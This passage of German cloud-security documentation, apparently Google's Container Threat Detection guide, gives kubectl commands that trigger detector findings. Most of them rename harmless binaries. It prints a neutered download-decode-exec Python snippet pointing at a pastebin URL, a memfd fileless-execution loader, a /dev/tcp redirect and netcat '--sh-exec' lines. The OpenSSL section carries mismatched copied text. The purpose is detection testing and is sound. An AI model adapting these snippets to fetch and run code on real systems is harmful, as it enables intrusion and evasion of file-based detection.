   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Container Escape“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Dateilose Ausführung in `/memfd:`

Damit ein Execution: Fileless Execution in /memfd:-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem von /memfd: ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird in eine anonyme Datei in /memfd: kopiert. Diese kopierte Binärdatei wird dann ausgeführt. Die Ausführung einer Binärdatei unter /memfd: wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen privilegierten Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

ARM-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

Mit diesem Testverfahren wird ein Execution: Fileless Execution in /memfd:-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausnutzung der Sicherheitslücke „Ingress Nightmare“

Wenn Sie ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ (Vorabversion) auslösen möchten, führen Sie die Nginx-Binärdatei in Ihrem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in eine Nginx-Binärdatei (nginx) umbenannt und mit zusätzlichen Argumenten ausgeführt, die auf das /proc-Dateisystem verweisen. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit dem Ingress Nightmare-Exploit (CVE-2025-1974) übereinstimmt, was auf eine potenzielle Ausführung von Remote-Code hindeutet.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie eine Nginx-Binärdatei wie nginx und führen Sie sie aus, während Sie auf das /proc-Dateisystem zugreifen:

x86-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

ARM-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung eines Kubernetes-Angriffstools

Wenn Sie ein Ergebnis des Typs „Ausführung: Ausführung eines Kubernetes-Angriffstools“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Kubernetes-Angriffstool wie amicontained ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

ARM-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausführung von Kubernetes-Angriffstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Execution: Local Reconnaissance Tool Execution-Ergebnis auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung der umbenannten Binärdatei ein Verhalten simuliert, das mit einem lokalen Aufklärungsversuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein lokales Ausspähtool wie linenum.sh ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

ARM-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Lokales Aufklärungstool ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Schädlicher Python-Code ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Schädliches Python ausgeführt“ auslösen möchten, können Sie Python in Ihrem Container mit der folgenden Vorgehensweise ausführen.

Bei diesem Verfahren wird das neueste Python-Image bereitgestellt, Python-Code kopiert, der bösartig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Skript in einem neuen Container aus.

Dieser Python-Code stammt aus einem Honeypot. Es wurde jedoch so modifiziert, dass das schädliche Binärprogramm nicht ausgeführt wird. Durch das Ausführen des Skripts werden keine schädlichen Aktivitäten in Ihrem Container verursacht. Das Binärprogramm unter der angegebenen URL ist nicht vorhanden. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler ausgegeben. Dies ist zu erwarten. Der Versuch, ein Binärprogramm mithilfe eines Inline-Scripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

ARM-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Schädliches Python-Skript ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls in eine EICAR-Testdatei für schädliche Software geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da das erstellte /bin/ls während der Containerlaufzeit als EICAR-Test-Binärprogramm modifiziert wird und das EICAR-Binärprogramm laut Threat Intelligence eine bekannte schädliche Datei ist.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

ARM-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausgeführte modifizierte schädliche Binärdatei“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Ausführung: Schädliche Binärdatei geändert und ausgeführt“ von Container Threat Detection beim Erstellen eines Containers vorübergehend gefiltert. Wenn Sie alle Ergebnisse des Typs „Ausführung: Ausführung einer modifizierten schädlichen Binärdatei“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Ausführung: Netcat-Remote-Codeausführung im Container

Um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen, muss eine Binärdatei, die zur Netzwerkkommunikation fähig ist (z. B. netcat selbst oder eine umbenannte Kopie eines anderen Dienstprogramms), im Container vorhanden sein und ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image als Basis bereitgestellt. Dabei wird die Binärdatei /bin/ls kopiert und die Kopie in netcat (ein Netzwerkdienstprogramm) umbenannt. Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Netzwerkinteraktion geeignet sind. Diese Aktivität wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das häufig bei tatsächlichen Versuchen zur Remote-Codeausführung in containerisierten Umgebungen beobachtet wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Netzwerkkommunikationstool wie netcat ein und führen Sie sie mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

ARM-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Mit diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Um ein Ergebnis des Typs Execution: Possible Remote Command Execution Detected (Vorschau) auszulösen, muss die Ausführung eines Befehls oder einer Binärdatei, die üblicherweise mit der Ausführung von Remote-Befehlen in Verbindung gebracht wird, in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in touch (oder ein anderes Tool wie find) umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Ausführung von Remote-Befehlen geeignet sind. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, unbefugten Remotezugriff auf oder vom Container aus herzustellen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei wie touch mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

ARM-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Possible Remote Command Execution Detected erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Programm mit nicht zulässiger HTTP-Proxy-Umgebung ausgeführt

Wenn Sie ein Ergebnis des Typs Execution: Program Run with Disallowed HTTP Proxy Env auslösen möchten, führen Sie ein Programm in einem Container aus und legen Sie eine HTTP-Proxy-Umgebungsvariable auf einen nicht zulässigen Wert fest. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/curl umbenannt. Die umbenannte Binärdatei wird dann mit einem nicht zulässigen Wert für eine HTTP-Proxy-Umgebungsvariable (z. B. HTTP_PROXY, http_proxy) ausgeführt. Die Kombination aus der Programmausführung und dem Vorhandensein einer nicht zulässigen HTTP-Proxy-Umgebung wird als verdächtig eingestuft, da sie auf einen Versuch hindeutet, über einen nicht autorisierten Proxy zu kommunizieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen Umgebungsvariable für den HTTP-Proxy aus:

x86-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

ARM-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Mit diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Führen Sie den Befehl openssl engine mit einem Argument aus, das eine Datei ist, die mit der Erweiterung .so endet, um einen Execution: Suspicious OpenSSL Shared Object Loaded-Befund auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/openssl umbenannt. Diese umbenannte Binärdatei wird dann mit den Argumenten engine und der gefälschten Datei .so ausgeführt. Die Ausführung von openssl engine mit einer .so-Datei wird als verdächtig eingestuft, da sie das Verhalten eines freigegebenen Objekts nachahmt, das geladen wird, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen Umgebungsvariable für den HTTP-Proxy aus:

x86-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

ARM-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Mit diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container auslösen möchten, führen Sie ein gängiges Tool zum Kopieren von Remotedateien in einem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/rsync umbenannt. Anschließend wird es ausgeführt, um eine Datei von einer potenziell schädlichen Remotequelle abzurufen. Die Ausführung eines solchen Tools mit Argumenten zum Abrufen von Remotedateien in einem Container wird als verdächtig eingestuft, da dies auf einen Versuch hindeuten könnte, schädlichen Code herunterzuladen und auszuführen oder Daten zu exfiltrieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Tool zum Kopieren von Dateien auf einem Remotecomputer aus, z. B. rsync:

x86-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

ARM-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Mit diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Damit ein Impact: Detect Malicious Cmdlines-Ergebnis (Vorschau) ausgelöst wird, muss die Ausführung einer Befehlszeile mit bekannten schädlichen Mustern oder Argumenten in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dazu müssen Sie die Binärdatei /bin/ls kopieren und die Kopie in ipfs umbenennen. Die umbenannte Binärdatei wird dann ausgeführt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code auszuführen oder Sicherheitskontrollen zu umgehen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

So führen Sie eine Binärdatei wie ipfs aus:

x86-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

ARM-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Detect Malicious Cmdlines erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Ergebnis des Typs Impact: Remove Bulk Data From Disk auslösen möchten, platzieren Sie eine Binärdatei, die Daten löschen oder überschreiben kann, in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dazu wird die /bin/ls-Binärdatei kopiert und die Kopie in shred umbenannt (oder in ein ähnliches Dienstprogramm, das für das sichere Löschen von Dateien entwickelt wurde). Die umbenannte Binärdatei wird dann ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie dem Verhalten ähnelt, das häufig beobachtet wird, wenn versucht wird, große Datenmengen von einer Festplatte in einer containerisierten Umgebung zu entfernen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei zum Löschen von Dateien oder Daten wie shred ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
